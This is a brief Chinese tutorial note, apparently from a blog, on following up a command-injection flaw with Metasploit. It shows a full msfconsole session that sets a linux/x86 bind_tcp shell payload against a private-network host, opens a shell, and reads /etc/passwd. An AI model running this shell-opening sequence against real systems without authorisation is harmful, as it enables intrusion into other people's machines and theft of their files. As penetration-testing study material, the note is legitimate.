!!!笔记仅供学习交流使用,请勿进行其他用途!!!
当【 发现命令注入漏洞 】之后,我们可以使用metaploit这个框架来利用这个漏洞。
首先使用nc命令来打开端口:
然后我们启动metasploit,然后输入下面的命令:
root@kali:~# msfconsole 。。。。。 。。。。。 msf > use multi/handler msf exploit(handler) > set PAYLOAD linux/x86/shell/bind_tcp PAYLOAD => linux/x86/shell/bind_tcp msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (linux/x86/shell/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LPORT 4444 yes The listen port RHOST no The target address Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > set RHOST 192.168.168.109 RHOST => 192.168.168.109 msf exploit(handler) > exploit [*] Starting the payload handler... [*] Started bind handler [*] Sending stage (36 bytes) to 192.168.168.109 [*] Command shell session 1 opened (192.168.168.104:35910 -> 192.168.168.109:4444) at 2014-04-27 18:23:07 +0800 id uid=1(daemon) gid=1(daemon) 组=1(daemon) whoami daemon cat /etc/passwd 。。。。。 daemon:x:1:1:daemon:/usr/sbin:/bin/sh 。。。。。
发表评论